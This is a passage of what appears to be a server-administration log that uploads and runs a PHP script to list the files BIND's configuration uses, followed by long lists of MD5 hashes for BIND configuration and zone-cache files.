MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 18:11:46: Establishing a connection
2026-04-23 18:11:46: 

PUT: /tmp/pkp502103

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 18:11:46: 

runuser -l bind -s /bin/bash -c '/tmp/pkp502103; rm /tmp/pkp502103'

2026-04-23 18:11:46: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
